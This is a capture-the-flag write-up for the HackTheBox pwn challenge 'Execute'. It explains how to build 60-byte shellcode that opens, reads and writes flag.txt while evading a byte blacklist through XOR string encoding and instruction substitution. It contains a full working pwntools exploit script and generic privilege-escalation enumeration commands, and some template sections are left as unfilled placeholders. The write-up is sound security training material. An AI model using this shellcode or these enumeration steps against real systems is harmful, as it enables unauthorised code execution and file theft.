← Back to Writeups
HTBN/APwn

Execute (pwn_execute)

XESXOR8/23/20268 min read
#pwn#htb#n/a

Execute (pwn_execute)

Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Easy-medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-02-03 | Status: Solved Techniques: blacklist_bypass, instruction_substitution, orw_shellcode, stack_shellcode, xor_string_encoding

Summary

Task: Write shellcode to read flag.txt under a 60-byte limit with a 16-byte blacklist filter. Solution: Use open/read/write (ORW) syscall chain instead of blocked execve, XOR-encode the "flag.txt" string with key 0x22 to bypass banned bytes, substitute blocked instructions with push/pop equivalents, and decode the string at runtime with a compact loop.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackthebox | ID: 20260203_htb_execute
  • Tags: x86_64, shellcode, byte_blacklist, xor_encoding, open_read_write, execstack
  • Indicators: execstack, byte blacklist check, shellcode execution, read into buffer then call, banned syscall bytes
  • Source: 20260203_htb_execute.md

Foothold

Vulnerability / Misconfiguration

  1. Blacklist_bypass
  2. Instruction_substitution
  3. Orw_shellcode
  4. Stack_shellcode
  5. Xor_string_encoding
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • blacklist_bypass
  • instruction_substitution
  • orw_shellcode
  • stack_shellcode
  • xor_string_encoding
  • Tags: x86_64, shellcode, byte_blacklist, xor_encoding, open_read_write, execstack

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Hey, just because I am hungry doesn't mean I'll execute everything

Remote: nc 83.136.253.132 37814

Files

  • execute — ELF 64-bit LSB PIE executable, x86-64, dynamically linked, not stripped
  • execute.c — Source code
  • flag.txt — Fake flag for local testing

Analysis

Binary Properties

PropertyValue
Archx86-64
RELROPartial
StackExecutable (-z execstack)
NXDisabled
PIEYes
CanaryNo

Source Code

The binary reads up to 60 bytes of user input into a stack buffer, checks every byte against a 16-byte blacklist, and if all bytes pass — casts the buffer to a function pointer and calls it. Classic shellcode execution with a twist: a byte-level blacklist filter.

int check(char *a, char *b, int size, int op) {
    for(int i = 0; i < op; i++) {
        for(int j = 0; j < size-1; j++) {
            if(a[i] == b[j])
                return 0;
        }
    }
    return 1337;
}

The check() function iterates over every blacklist byte (a[i]) and every input byte (b[j]). If any match is found, it returns 0 (fail). Otherwise returns 1337 (pass).

The Blacklist (16 bytes)

HexASCIISignificance
0x3b;execve syscall number (59)
0x54T
0x62bPart of /bin/sh
0x69iPart of /bin/sh
0x6enPart of /bin/sh
0x73sPart of /bin/sh
0x68hPart of /bin/sh + push imm32 opcode
0xf6Used in xor rsi, rsi encoding
0xd2Used in xor rdx, rdx encoding
0xc0Used in xor rax, rax / xor eax, eax encoding
0x5f_pop rdi opcode
0xc9leave / used in xor ecx, ecx
0x66fPart of "flag" + operand size prefix
0x6clPart of "flag"
0x61aPart of "flag"
0x67gPart of "flag" + address size prefix

What's Blocked

  1. execve("/bin/sh", ...) — Completely blocked: syscall number 0x3b, all chars of /bin/sh, and pop rdi (0x5f) are banned.
  2. Direct "flag.txt" string — All four letters of "flag" are banned bytes.
  3. Common zeroing instructionsxor rax,rax (uses 0xc0), xor rsi,rsi (uses 0xf6), xor rdx,rdx (uses 0xd2).
  4. push imm32 (0x68) — Can't push strings directly onto stack.
  5. pop rdi (0x5f) — Can't use standard calling convention setup.

What's NOT Blocked

  • syscall (0x0f 0x05)
  • push imm8; pop reg pattern (e.g., 6a 00 58 for zeroing rax)
  • mov rdi, rsp (0x48 0x89 0xe7)
  • movabs rax, imm64 (0x48 0xb8 ...)
  • xor byte [rdi], imm8 (0x80 0x37 KEY)
  • xchg rax, rdi (0x48 0x97)
  • loop (0xe2)

Solution

Strategy: Open/Read/Write (ORW)

Since execve is too heavily restricted, use a file-reading shellcode chain:

  1. open("flag.txt", O_RDONLY) — syscall 2
  2. read(fd, buffer, 80) — syscall 0
  3. write(STDOUT, buffer, 80) — syscall 1

Bypassing the Blacklist

String encoding: XOR-encode "flag.txt" with key 0x22:

"flag.txt" = 66 6c 61 67 2e 74 78 74
XOR 0x22   = 44 4e 43 45 0c 56 5a 56  (all clean!)

Key 0x22 was chosen because ALL encoded bytes avoid the blacklist.

Instruction substitutions:

Blocked instructionReplacementBytes
xor rax, rax (uses 0xc0)push 0; pop rax6a 00 58
xor rsi, rsi (uses 0xf6)push 0; pop rsi6a 00 5e
xor rdx, rdx (uses 0xd2)push 0; pop rdx6a 00 5a
pop rdi (0x5f)mov rdi, rsp or xchg rax, rdi48 89 e7 / 48 97
push imm32 (0x68)movabs rax, imm64; push rax48 b8 ... 50

Shellcode Breakdown (60 bytes exactly)

Phase 1 — String setup (13 bytes):

push 0                              ; null terminator qword
movabs rax, 0x565a560c45434e44      ; XOR-encoded "flag.txt"
push rax                            ; string on stack

Phase 2 — XOR decode loop (14 bytes):

mov rdi, rsp        ; point to encoded string
push 8; pop rcx     ; counter = 8
.loop:
xor byte [rdi], 0x22  ; decode one byte
inc rdi
loop .loop          ; decrement rcx, jump if != 0

Phase 3 — open("flag.txt", 0) (11 bytes):

mov rdi, rsp        ; filename pointer
push 0; pop rsi     ; flags = O_RDONLY
push 2; pop rax     ; syscall 2 = open
syscall

Phase 4 — read(fd, rsp, 0x50) (13 bytes):

xchg rax, rdi       ; fd from open() into rdi
mov rsi, rsp        ; buffer = stack
push 0x50; pop rdx  ; count = 80
push 0; pop rax     ; syscall 0 = read
syscall

Phase 5 — write(1, rsp, 0x50) (9 bytes):

xor edi, edi        ; rdi = 0
inc edi              ; rdi = 1 (stdout)
push 1; pop rax     ; syscall 1 = write
syscall              ; rsi/rdx preserved from read()

Exploit Script

#!/usr/bin/env python3
from pwn import *

context.arch = "amd64"

HOST = "83.136.253.132"
PORT = 37814

BLACKLIST = set(b"\x3b\x54\x62\x69\x6e\x73\x68\xf6\xd2\xc0\x5f\xc9\x66\x6c\x61\x67")

sc = b""
# Phase 1: Push XOR-encoded "flag.txt\0" on stack (13 bytes)
sc += b"\x6a\x00"                                      # push 0
sc += b"\x48\xb8\x44\x4e\x43\x45\x0c\x56\x5a\x56"    # movabs rax, encoded
sc += b"\x50"                                          # push rax

# Phase 2: XOR decode loop (14 bytes)
sc += b"\x48\x89\xe7"    # mov rdi, rsp
sc += b"\x6a\x08\x59"    # push 8; pop rcx
sc += b"\x80\x37\x22"    # xor byte [rdi], 0x22
sc += b"\x48\xff\xc7"    # inc rdi
sc += b"\xe2\xf8"        # loop -8

# Phase 3: open("flag.txt", 0) (11 bytes)
sc += b"\x48\x89\xe7"    # mov rdi, rsp
sc += b"\x6a\x00\x5e"    # push 0; pop rsi
sc += b"\x6a\x02\x58"    # push 2; pop rax
sc += b"\x0f\x05"        # syscall

# Phase 4: read(fd, rsp, 0x50) (13 bytes)
sc += b"\x48\x97"        # xchg rax, rdi
sc += b"\x48\x89\xe6"    # mov rsi, rsp
sc += b"\x6a\x50\x5a"    # push 0x50; pop rdx
sc += b"\x6a\x00\x58"    # push 0; pop rax
sc += b"\x0f\x05"        # syscall

# Phase 5: write(1, rsp, 0x50) (9 bytes)
sc += b"\x31\xff"        # xor edi, edi
sc += b"\xff\xc7"        # inc edi
sc += b"\x6a\x01\x58"    # push 1; pop rax
sc += b"\x0f\x05"        # syscall

assert len(sc) == 60
for i, b in enumerate(sc):
    assert b not in BLACKLIST, f"Bad byte 0x{b:02x} at offset {i}"

r = remote(HOST, PORT)
r.recvuntil(b"everything\n")
r.send(sc)
result = r.recvall(timeout=5)
if b"HTB{" in result:
    flag = result[result.index(b"HTB{"):result.index(b"}") + 1]
    print(f"FLAG: {flag.decode()}")

Lessons Learned

  1. ORW > execve — When execve is restricted, open/read/write is the reliable fallback for flag exfiltration.
  2. XOR key selection — Systematically check that ALL encoded bytes avoid the blacklist. A simple script iterating keys 0x01-0xFF finds valid keys quickly.
  3. Instruction polymorphism — x86-64 has many equivalent instruction encodings. push/pop is almost universally clean and can replace most register operations.
  4. Manual byte audit — Always verify every shellcode byte against the blacklist programmatically before sending.
  5. Size budgeting — With a 60-byte limit, plan each phase's byte count upfront. The XOR decode loop (14 bytes) is more compact than 8 individual xor byte instructions (40 bytes).
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR